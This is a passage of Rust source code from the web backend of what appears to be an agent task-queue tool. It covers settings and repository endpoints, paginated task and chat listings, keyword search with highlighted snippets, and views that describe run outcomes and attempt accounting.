4233 while !body.is_char_boundary(cut) {
4234 cut -= 1;
4235 }
4236 body.truncate(cut);
4237 body.push_str("\n... diff truncated ...");
4238 }
4239 Ok((
4240 [
4241 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4242 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4243 ],
4244 body,
4245 ))
4246}
4247
4248#[derive(Debug, Serialize)]
4254struct TaskView {
4255 #[serde(flatten)]
4256 task: Task,
4257 source_label: String,
4258 source_link: Option<SourceLink>,
4259 status_str: &'static str,
4260 instruction_md: Vec<md::Node>,
4264 waits_on: Vec<String>,
4268 stuck_roots: Vec<String>,
4271}
4272
4273impl From<Task> for TaskView {
4274 fn from(task: Task) -> Self {
4275 Self {
4276 source_label: task.source.label(),
4277 source_link: source_link(&task.source),
4278 status_str: task.status.as_str(),
4279 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4280 waits_on: Vec::new(),
4281 stuck_roots: Vec::new(),
4282 task,
4283 }
4284 }
4285}
4286
4287impl TaskView {
4288 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4289 let waits_on = inv.waits_on(&task);
4290 let stuck_roots = inv
4291 .stuck_roots(&task)
4292 .iter()
4293 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4294 .collect();
4295 Self {
4296 waits_on,
4297 stuck_roots,
4298 ..Self::from(task)
4299 }
4300 }
4301}
4302
4303#[derive(Debug, Default, Deserialize)]
4306#[serde(default)]
4307struct ReposQuery {
4308 refresh: u8,
4309}
4310
4311async fn repos_list(
4318 State(ui): State<Arc<Ui>>,
4319 Query(q): Query<ReposQuery>,
4320) -> ApiResult<Json<Vec<repos::Repo>>> {
4321 let refresh = q.refresh != 0;
4322 blocking(move || {
4323 let (cfg, _) = Config::discover(&ui.repo, None)?;
4324 Ok(Json(ui.repos_cache.list(
4325 &cfg.repos.roots,
4326 Duration::from_secs(cfg.repos.scan_ttl),
4327 refresh,
4328 )))
4329 })
4330 .await
4331}
4332
4333#[derive(Debug, Default, Deserialize)]
4335struct SettingsQuery {
4336 repo: Option<PathBuf>,
4337}
4338
4339fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4343 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4344 let paths: Vec<PathBuf> = ui
4345 .machine_config
4346 .iter()
4347 .filter(|p| p.is_file())
4348 .cloned()
4349 .collect();
4350 if paths.is_empty() {
4351 Ok(Config::autodetected())
4352 } else {
4353 Config::load_layers(&paths)
4354 }
4355 });
4356 let mut known = cfg
4357 .map(|cfg| {
4358 ui.repos_cache.list(
4359 &cfg.repos.roots,
4360 Duration::from_secs(cfg.repos.scan_ttl),
4361 refresh,
4362 )
4363 })
4364 .unwrap_or_default();
4365 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4366 if !known.iter().any(|r| r.path == path) {
4367 known.push(repos::Repo {
4368 name: path
4369 .file_name()
4370 .unwrap_or_default()
4371 .to_string_lossy()
4372 .into_owned(),
4373 path,
4374 });
4375 }
4376 known
4377}
4378
4379fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4380 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4381 let canonical = requested.canonicalize().ok();
4382 let mut known = settings_repositories(ui, false);
4383 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4384 if !known.iter().any(matches) {
4385 known = settings_repositories(ui, true);
4386 }
4387 let repo = known
4388 .iter()
4389 .find(|r| matches(r))
4390 .map(|r| r.path.clone())
4391 .ok_or_else(|| ApiError {
4392 text_reason: None,
4393 status: StatusCode::UNPROCESSABLE_ENTITY,
4394 message: "Choose a known repository from the Settings selector.".to_owned(),
4395 })?;
4396 Ok((repo, known))
4397}
4398
4399async fn settings_get(
4403 State(ui): State<Arc<Ui>>,
4404 Query(q): Query<SettingsQuery>,
4405) -> ApiResult<Json<settings::SettingsView>> {
4406 blocking(move || {
4407 let (repo, known) = settings_context(&ui, q)?;
4408 Ok(Json(settings::view_with_repos(
4409 &repo,
4410 ui.machine_config.as_deref(),
4411 &known,
4412 )))
4413 })
4414 .await
4415}
4416
4417#[derive(Debug, Deserialize)]
4419#[serde(deny_unknown_fields)]
4420struct RolesBody {
4421 revision: String,
4423 #[serde(default)]
4425 roles: std::collections::BTreeMap<String, Vec<String>>,
4426 #[serde(default)]
4430 counts: std::collections::BTreeMap<String, serde_json::Value>,
4431}
4432
4433async fn settings_put_roles(
4439 State(ui): State<Arc<Ui>>,
4440 Query(q): Query<SettingsQuery>,
4441 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4442) -> ApiResult<Json<settings::SettingsView>> {
4443 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4444 blocking(move || {
4445 let (repo, known) = settings_context(&ui, q)?;
4446 settings::save_with_repos(
4447 &repo,
4448 ui.machine_config.as_deref(),
4449 &body.revision,
4450 &body.roles,
4451 &body.counts,
4452 &known,
4453 )
4454 .map(Json)
4455 .map_err(|e| match e {
4456 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4457 settings::SaveError::Refused(m) => ApiError {
4458 text_reason: None,
4459 status: StatusCode::UNPROCESSABLE_ENTITY,
4460 message: m,
4461 },
4462 settings::SaveError::Internal(m) => ApiError::internal(m),
4463 })
4464 })
4465 .await
4466}
4467
4468async fn queue_list(
4469 State(ui): State<Arc<Ui>>,
4470 Query(q): Query<ListQuery>,
4471) -> ApiResult<Json<Vec<TaskView>>> {
4472 blocking(move || {
4473 let tasks = ui.queue.list();
4474 let inv =
4475 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4476 Ok(Json(
4477 tasks
4478 .into_iter()
4479 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4480 .map(|t| TaskView::with_inventory(t, &inv))
4481 .collect(),
4482 ))
4483 })
4484 .await
4485}
4486
4487#[derive(Debug, Default, Deserialize)]
4492struct PageQuery {
4493 before: Option<String>,
4494}
4495
4496#[derive(Serialize)]
4497struct StorePage<T> {
4498 rows: Vec<T>,
4499 next: Option<String>,
4500}
4501
4502const STORE_PAGE_SIZE: usize = 16;
4503
4504#[derive(Debug)]
4508struct ListWalk {
4509 token: u64,
4510 talks: bool,
4511 opened: std::time::Instant,
4512 ids: Arc<Vec<String>>,
4513}
4514
4515fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4516 let mut walks = ui
4517 .monitor
4518 .list_walks
4519 .lock()
4520 .unwrap_or_else(PoisonError::into_inner);
4521 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4522 let (token, ids, offset) = if let Some(cursor) = q.before {
4523 let (token, offset) = cursor
4524 .split_once(':')
4525 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4526 let token = token
4527 .parse::<u64>()
4528 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4529 let offset = offset
4530 .parse::<usize>()
4531 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4532 let walk = walks
4533 .iter()
4534 .find(|walk| walk.token == token && walk.talks == talks)
4535 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4536 (token, walk.ids.clone(), offset)
4537 } else {
4538 let root = if talks {
4539 ui.talks.root()
4540 } else {
4541 ui.queue.root()
4542 };
4543 let mut ids = crate::queue::record_ids(root, "json")?;
4544 ids.sort_unstable_by(|a, b| b.cmp(a));
4545 let ids = Arc::new(ids);
4546 let mut token = crate::rng::entropy();
4547 while walks.iter().any(|walk| walk.token == token) {
4548 token = crate::rng::entropy();
4549 }
4550 if walks.len() >= 16 {
4553 walks.remove(0);
4554 }
4555 walks.push(ListWalk {
4556 token,
4557 talks,
4558 opened: std::time::Instant::now(),
4559 ids: ids.clone(),
4560 });
4561 (token, ids, 0)
4562 };
4563 if offset > ids.len() {
4564 return Err(ApiError::bad_request("Invalid list cursor"));
4565 }
4566 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4567 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4568 Ok((ids[offset..end].to_vec(), next))
4569}
4570
4571async fn queue_page(
4572 State(ui): State<Arc<Ui>>,
4573 Query(q): Query<PageQuery>,
4574) -> ApiResult<Json<StorePage<TaskView>>> {
4575 blocking(move || {
4576 let (ids, next) = page_ids(&ui, false, q)?;
4577 let tasks: Vec<_> = ids
4578 .into_iter()
4579 .filter_map(|id| ui.queue.get(&id).ok())
4580 .collect();
4581 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4582 let rows = tasks
4583 .into_iter()
4584 .map(|task| TaskView::with_inventory(task, &inv))
4585 .collect();
4586 Ok(Json(StorePage { rows, next }))
4587 })
4588 .await
4589}
4590
4591#[derive(Serialize)]
4595struct TalkListView {
4596 id: String,
4597 repo: PathBuf,
4598 agent: String,
4599 status: talk::TalkStatus,
4600 turns: Vec<TalkListTurn>,
4601 thinking: bool,
4602 context: talk::ContextUsage,
4603 created_at: Timestamp,
4604 updated_at: Timestamp,
4605}
4606
4607#[derive(Serialize)]
4608struct TalkListTurn {
4609 who: talk::Who,
4610 at: Timestamp,
4611 body: String,
4612}
4613
4614async fn talks_page(
4615 State(ui): State<Arc<Ui>>,
4616 Query(q): Query<PageQuery>,
4617) -> ApiResult<Json<StorePage<TalkListView>>> {
4618 blocking(move || {
4619 let (ids, next) = page_ids(&ui, true, q)?;
4620 let rows = ids
4621 .into_iter()
4622 .filter_map(|id| ui.talks.get(&id).ok())
4623 .map(|talk| TalkListView {
4624 thinking: ui.is_thinking(&talk.id),
4625 context: talk::context_usage(&talk, None),
4626 turns: talk
4627 .turns
4628 .iter()
4629 .map(|turn| TalkListTurn {
4630 who: turn.who,
4631 at: turn.at,
4632 body: turn
4633 .body
4634 .lines()
4635 .next()
4636 .unwrap_or_default()
4637 .chars()
4638 .take(240)
4639 .collect(),
4640 })
4641 .collect(),
4642 id: talk.id,
4643 repo: talk.repo,
4644 agent: talk.agent,
4645 status: talk.status,
4646 created_at: talk.created_at,
4647 updated_at: talk.updated_at,
4648 })
4649 .collect();
4650 Ok(Json(StorePage { rows, next }))
4651 })
4652 .await
4653}
4654
4655async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4656 blocking(move || {
4657 let tasks = ui.indexed_tasks()?;
4658 Ok(Json(TaskCountsView::from(
4659 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4660 )))
4661 })
4662 .await
4663}
4664
4665const SEARCH_MAX_HITS: usize = 100;
4667const SEARCH_MAX_QUERY: usize = 200;
4669const SEARCH_MAX_TERMS: usize = 8;
4670const SNIPPET_BEFORE: usize = 50;
4672const SNIPPET_AFTER: usize = 110;
4673
4674#[derive(Debug, Deserialize)]
4676struct SearchQuery {
4677 #[serde(default)]
4678 scope: String,
4679 #[serde(default)]
4680 q: String,
4681}
4682
4683#[derive(Debug, Serialize, PartialEq, Eq)]
4686struct SnippetPart {
4687 text: String,
4688 hit: bool,
4689}
4690
4691#[derive(Debug, Serialize)]
4692struct SearchHit {
4693 id: String,
4694 field: String,
4696 snippet: Vec<SnippetPart>,
4697 #[serde(skip_serializing_if = "Option::is_none")]
4701 run: Option<RunSummary>,
4702}
4703
4704#[derive(Debug, Serialize)]
4705struct SearchView {
4706 scope: String,
4707 q: String,
4708 hits: Vec<SearchHit>,
4710 total: usize,
4712 truncated: bool,
4713 unreadable: usize,
4716}
4717
4718fn text_leaves<'a>(
4721 value: &'a serde_json::Value,
4722 field: &'a str,
4723 out: &mut Vec<(&'a str, &'a str)>,
4724) {
4725 match value {
4726 serde_json::Value::String(s) => out.push((field, s)),
4727 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4728 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4729 _ => {}
4730 }
4731}
4732
4733fn fold_char(c: char) -> char {
4736 c.to_lowercase().next().unwrap_or(c)
4737}
4738
4739fn search_terms(q: &str) -> Vec<String> {
4741 let mut terms: Vec<String> = Vec::new();
4742 for t in q.split_whitespace() {
4743 let t = t.to_lowercase();
4744 if !terms.contains(&t) {
4745 terms.push(t);
4746 }
4747 }
4748 terms
4749}
4750
4751fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4754 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4755 let mut first: Option<usize> = None;
4756 for term in terms {
4757 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4758 first = Some(first.map_or(at, |f| f.min(at)));
4759 }
4760 let (field, text) = leaves[first?];
4762 Some(SearchHit {
4763 id: String::new(),
4764 field: field.to_owned(),
4765 snippet: snippet_of(text, terms),
4766 run: None,
4767 })
4768}
4769
4770fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4773 let chars: Vec<char> = text.chars().collect();
4774 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4775 let needles: Vec<Vec<char>> = terms
4776 .iter()
4777 .map(|t| t.chars().map(fold_char).collect())
4778 .collect();
4779 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4780 let mut best: Option<(usize, usize)> = None;
4781 for n in needles.iter().filter(|n| !n.is_empty()) {
4782 if n.len() > chars.len() || to == 0 {
4786 continue;
4787 }
4788 let last = (to - 1).min(chars.len() - n.len());
4789 if from > last {
4790 continue;
4791 }
4792 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4793 && best.is_none_or(|(b, _)| i < b)
4794 {
4795 best = Some((i, i + n.len()));
4796 }
4797 }
4798 best
4799 };
4800 let Some((start, _)) = find(0, chars.len()) else {
4801 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4803 return vec![SnippetPart {
4804 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4805 hit: false,
4806 }];
4807 };
4808 let lo = start.saturating_sub(SNIPPET_BEFORE);
4809 let hi = (start + SNIPPET_AFTER).min(chars.len());
4810 let mut parts: Vec<SnippetPart> = Vec::new();
4811 let mut push = |s: &[char], hit: bool| {
4812 if s.is_empty() {
4813 return;
4814 }
4815 let text: String = s.iter().collect();
4816 match parts.last_mut() {
4817 Some(p) if p.hit == hit => p.text.push_str(&text),
4818 _ => parts.push(SnippetPart { text, hit }),
4819 }
4820 };
4821 if lo > 0 {
4822 push(&['\u{2026}'], false);
4823 }
4824 let mut at = lo;
4825 while at < hi {
4826 match find(at, hi) {
4827 Some((s, e)) => {
4828 push(&chars[at..s], false);
4829 let shown = e.min(hi);
4831 push(&chars[s..shown], true);
4832 at = shown;
4833 }
4834 None => {
4835 push(&chars[at..hi], false);
4836 at = hi;
4837 }
4838 }
4839 }
4840 if hi < chars.len() {
4841 push(&['\u{2026}'], false);
4842 }
4843 let mut prev_space = false;
4846 for p in &mut parts {
4847 let mut out = String::with_capacity(p.text.len());
4848 for c in p.text.chars() {
4849 if c.is_whitespace() {
4850 if !prev_space {
4851 out.push(' ');
4852 }
4853 prev_space = true;
4854 } else {
4855 out.push(c);
4856 prev_space = false;
4857 }
4858 }
4859 p.text = out;
4860 }
4861 parts.retain(|p| !p.text.is_empty());
4862 parts
4863}
4864
4865fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4867where
4868 I: IntoIterator<Item = (String, serde_json::Value)>,
4869{
4870 for (id, doc) in docs {
4871 let mut leaves = Vec::new();
4872 leaves.push(("id", id.as_str()));
4875 text_leaves(&doc, "", &mut leaves);
4876 if let Some(mut hit) = search_document(terms, &leaves) {
4877 view.total += 1;
4878 if view.hits.len() < SEARCH_MAX_HITS {
4879 hit.id = id;
4880 view.hits.push(hit);
4881 }
4882 }
4883 }
4884 view.truncated = view.total > view.hits.len();
4885}
4886
4887fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4894 let opener = talk
4895 .turns
4896 .iter()
4897 .find(|t| t.who == crate::talk::Who::Operator)
4898 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4899 .unwrap_or("");
4900 let title: String = if opener.chars().count() > 96 {
4901 opener.chars().take(95).chain(['\u{2026}']).collect()
4902 } else {
4903 opener.to_owned()
4904 };
4905 let turns: Vec<serde_json::Value> = talk
4906 .turns
4907 .iter()
4908 .map(|t| {
4909 let who = match t.who {
4910 crate::talk::Who::Operator => "operator",
4911 crate::talk::Who::Agent => "agent",
4912 };
4913 serde_json::json!({ who: t.body })
4914 })
4915 .collect();
4916 serde_json::json!({ "title": title, "turns": turns })
4917}
4918
4919async fn search_get(
4926 State(ui): State<Arc<Ui>>,
4927 Query(q): Query<SearchQuery>,
4928) -> ApiResult<Json<SearchView>> {
4929 let query = q.q.trim().to_owned();
4930 if query.is_empty() {
4931 return Err(ApiError::bad_request("q must not be empty"));
4932 }
4933 if query.chars().count() > SEARCH_MAX_QUERY {
4934 return Err(ApiError::bad_request(format!(
4935 "q is longer than {SEARCH_MAX_QUERY} characters"
4936 )));
4937 }
4938 let terms = search_terms(&query);
4939 if terms.len() > SEARCH_MAX_TERMS {
4940 return Err(ApiError::bad_request(format!(
4941 "q has more than {SEARCH_MAX_TERMS} terms"
4942 )));
4943 }
4944 let scope = q.scope;
4945 if scope != "runs" && scope != "tasks" && scope != "chats" {
4946 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4947 }
4948 blocking(move || {
4949 let mut view = SearchView {
4950 scope: scope.clone(),
4951 q: query,
4952 hits: Vec::new(),
4953 total: 0,
4954 truncated: false,
4955 unreadable: 0,
4956 };
4957 if scope == "runs" {
4958 let mut unreadable = 0;
4959 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4963 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4964 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4965 Some(v) => Some((id, v)),
4966 None => {
4967 unreadable += 1;
4968 None
4969 }
4970 }
4971 });
4972 search_docs(&terms, docs, &mut view);
4973 view.unreadable = unreadable;
4974 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4977 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4978 for hit in &mut view.hits {
4979 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4980 hit.run = summarize(
4981 [state],
4982 &open_runs,
4983 &claimed,
4984 &superseded,
4985 |p| probe.borrow_mut().status(p),
4986 |p| probe.borrow_mut().started_at(p),
4987 )
4988 .pop();
4989 }
4990 }
4991 } else if scope == "chats" {
4992 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4993 view.unreadable = unreadable;
4994 search_docs(
4995 &terms,
4996 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4997 &mut view,
4998 );
4999 } else {
5000 let docs = ui.queue.list().into_iter().filter_map(|t| {
5001 let mut v = serde_json::to_value(&t).ok()?;
5002 if let Some(o) = v.as_object_mut() {
5005 o.insert("filed_by".to_owned(), t.source.label().into());
5006 }
5007 Some((t.id, v))
5008 });
5009 search_docs(&terms, docs, &mut view);
5010 }
5011 Ok(Json(view))
5012 })
5013 .await
5014}
5015
5016#[derive(Debug, Serialize)]
5018struct TaskRunView {
5019 n: usize,
5021 id: String,
5022 short: String,
5023 kind: &'static str,
5025 status: Option<&'static str>,
5027 readable: bool,
5029 provisional: bool,
5031 description: String,
5033 outcome: String,
5035 created_at: Option<Timestamp>,
5036 pr: Option<String>,
5037 exit: RunExit,
5039 attempt: AttemptCost,
5041 exit_label: String,
5044 later_pass: Option<usize>,
5047 pass_n: usize,
5051 passes_of_run: usize,
5052 pass: Option<PassView>,
5055 branch: Option<String>,
5057 badge: Option<String>,
5060}
5061
5062#[derive(Debug, Clone, PartialEq, Serialize)]
5064struct PassView {
5065 index: usize,
5066 resumed: bool,
5067 started_at: Timestamp,
5068 ended_at: Option<Timestamp>,
5069 end: &'static str,
5071 cause: Option<crate::run::ParkCause>,
5072 label: String,
5074 cost: Option<crate::queue::PassCost>,
5077}
5078
5079impl PassView {
5080 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5081 use crate::run::PassEnd;
5082 let (end, cause, label) = match &p.end {
5083 None => ("open", None, "still open".to_owned()),
5084 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5085 Some(PassEnd::Unrecorded) => (
5086 "unrecorded",
5087 None,
5088 "stopped without recording why (a crash, a kill or a restart; not known)"
5089 .to_owned(),
5090 ),
5091 };
5092 Self {
5093 index: p.index,
5094 resumed: p.resumed,
5095 started_at: p.started_at,
5096 ended_at: p.ended_at,
5097 end,
5098 cause,
5099 label,
5100 cost: settled.map(|t| t.cost),
5101 }
5102 }
5103}
5104
5105#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5107#[serde(rename_all = "snake_case")]
5108enum RunExit {
5109 Unreadable,
5110 Interrupted,
5112 Parked,
5113 QuotaStall,
5114 ResumedQuotaStall,
5118 Merged,
5119 Ready,
5120 Superseded,
5121 AlreadyInBase,
5124 Stalled,
5126 HeldWithPr,
5128 NoopHeld,
5129 Spent,
5131 InProgress,
5132}
5133
5134#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5135#[serde(rename_all = "snake_case")]
5136enum AttemptCost {
5137 Spent,
5138 Refunded,
5139 None,
5140 Unknown,
5142}
5143
5144impl RunExit {
5145 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5146 let Some(s) = s else {
5147 return Self::Unreadable;
5148 };
5149 let status = s.status;
5150 if resumed_later {
5151 Self::Interrupted
5152 } else if s.parked {
5153 Self::Parked
5154 } else if !status.done() {
5155 Self::InProgress
5156 } else if matches!(status, RunStatus::Merged) {
5157 Self::Merged
5158 } else if matches!(status, RunStatus::Ready) {
5159 Self::Ready
5160 } else if matches!(status, RunStatus::Superseded) {
5161 Self::Superseded
5162 } else if matches!(status, RunStatus::AlreadyInBase) {
5163 Self::AlreadyInBase
5164 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5165 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5166 {
5167 if resumed {
5168 Self::ResumedQuotaStall
5169 } else {
5170 Self::QuotaStall
5171 }
5172 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5173 Self::HeldWithPr
5174 } else if matches!(status, RunStatus::VerifiedNoop) {
5175 Self::NoopHeld
5176 } else if matches!(status, RunStatus::Stalled) {
5177 Self::Stalled
5178 } else {
5179 Self::Spent
5180 }
5181 }
5182
5183 fn cost(self) -> AttemptCost {
5184 match self {
5185 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5186 Self::Merged
5187 | Self::Ready
5188 | Self::Stalled
5189 | Self::HeldWithPr
5190 | Self::NoopHeld
5191 | Self::Spent => AttemptCost::Spent,
5192 Self::InProgress => AttemptCost::None,
5193 Self::AlreadyInBase => AttemptCost::Refunded,
5194 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5195 AttemptCost::Unknown
5196 }
5197 }
5198 }
5199
5200 fn edge_label(self, status: Option<&str>) -> String {
5202 match self {
5203 Self::Unreadable => "record unreadable".to_owned(),
5204 Self::Interrupted => "interrupted before the run finished".to_owned(),
5205 Self::Parked => "parked, attempt refunded".to_owned(),
5206 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5207 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5208 Self::Merged => "merged".to_owned(),
5209 Self::Ready => "ready, not merged".to_owned(),
5210 Self::Superseded => "superseded by a later attempt".to_owned(),
5211 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5212 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5213 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5214 Self::NoopHeld => "verified no-op".to_owned(),
5215 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5216 Self::InProgress => "in progress".to_owned(),
5217 }
5218 }
5219
5220 fn explains(self, end: TaskStatus) -> bool {
5223 match self {
5224 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5225 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5226 Self::Unreadable | Self::Superseded | Self::Ready => true,
5227 _ => end != TaskStatus::Done,
5228 }
5229 }
5230}
5231
5232#[derive(Debug, Serialize)]
5234struct TaskDetailView {
5235 #[serde(flatten)]
5236 task: TaskView,
5237 max_attempts: usize,
5240 history: Vec<TaskRunView>,
5241 passes_total: usize,
5244 runs_distinct: usize,
5246 flow: FlowView,
5247 followup_origin: Option<FollowUpOrigin>,
5249 runs_unreadable: usize,
5251 attempts_note: &'static str,
5253}
5254
5255const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5256and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5257on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5258the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5259
5260fn review_branch_of(instruction: &str) -> Option<&str> {
5263 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5264 rest.split('`').next().filter(|b| !b.is_empty())
5265}
5266
5267#[derive(Default)]
5269struct RunSlot<'a> {
5270 n: usize,
5272 resumed: bool,
5274 resumed_later: Option<usize>,
5276 prior: Option<(&'a str, RunStatus)>,
5278 last: bool,
5279 pass: Option<&'a crate::run::RunPass>,
5281 settled: Option<&'a crate::queue::TaskPass>,
5283 pass_n: usize,
5285 passes_of_run: usize,
5286}
5287
5288fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5291 let RunSlot {
5292 n,
5293 resumed,
5294 resumed_later,
5295 prior,
5296 last,
5297 pass,
5298 settled,
5299 pass_n,
5300 passes_of_run,
5301 } = at;
5302 let short = run::short_of(id).to_owned();
5303 let Some(s) = state else {
5304 return TaskRunView {
5305 n,
5306 id: id.to_owned(),
5307 short,
5308 kind: "unknown",
5309 status: None,
5310 readable: false,
5311 provisional: false,
5312 description:
5313 "This run's record could not be read by this build (written by a different \
5314 magi, or removed), so what kind of attempt it was is unknown."
5315 .to_owned(),
5316 outcome: String::new(),
5317 created_at: None,
5318 pr: None,
5319 exit: RunExit::Unreadable,
5320 attempt: AttemptCost::Unknown,
5321 exit_label: RunExit::Unreadable.edge_label(None),
5322 later_pass: resumed_later,
5323 pass_n,
5324 passes_of_run,
5325 pass: None,
5326 branch: None,
5327 badge: None,
5328 };
5329 };
5330 let branch = review_branch_of(&s.instruction);
5331 let kind = if resumed {
5332 "resume"
5333 } else if branch.is_some() {
5334 "review"
5335 } else if task.solo || s.candidates.len() == 1 {
5336 "solo"
5337 } else {
5338 "competition"
5339 };
5340 let mut description = match kind {
5341 "resume" => {
5342 format!("Resumed run {short}: the same run carried on instead of competing again.")
5343 }
5344 "review" => format!(
5345 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5346 branch.unwrap_or_default()
5347 ),
5348 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5349 _ => format!(
5350 "Competition: {} candidates judged blind.",
5351 s.candidates.len().max(1)
5352 ),
5353 };
5354 if !resumed && let Some((p, st)) = prior {
5355 description.push_str(&format!(
5356 " A retry: run {p} before it ended {}.",
5357 st.display_label()
5358 ));
5359 }
5360
5361 let status = s.status;
5362 let provisional = matches!(status, RunStatus::Stalled)
5363 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5364 let head = if resumed_later.is_some() {
5365 String::new()
5366 } else {
5367 match status {
5368 RunStatus::Merged => "Merged.".to_owned(),
5369 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5370 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5371 RunStatus::AlreadyInBase => {
5372 "Already in the base: this change landed under other commits, nothing was left to land."
5373 .to_owned()
5374 }
5375 RunStatus::Stalled => {
5376 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5377 .to_owned()
5378 }
5379 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5380 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5381 RunStatus::VerifiedNoop => {
5382 "Verified no-op: the candidates found nothing to change.".to_owned()
5383 }
5384 other if other.done() => format!("Ended {}.", other.display_label()),
5385 other => format!("In progress ({}).", other.display_label()),
5386 }
5387 };
5388 let view = pass.map(|p| PassView::of(p, settled));
5389 let recorded_end = view
5390 .as_ref()
5391 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5392 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5393 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5394 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5395 None => "whether its attempt was handed back was not recorded",
5396 };
5397 let pass_note = if passes_of_run > 1 {
5398 format!(
5399 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5400 )
5401 } else {
5402 String::new()
5403 };
5404 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5405 let cause = match v.end {
5407 "parked" => format!("It was stopped on purpose: {}.", v.label),
5408 _ => format!("It {}.", v.label),
5409 };
5410 format!(
5411 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5412 capitalise(cost_words)
5413 )
5414 } else if let Some(k) = resumed_later {
5415 let cause = if s.quota.is_empty() {
5422 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5423 } else {
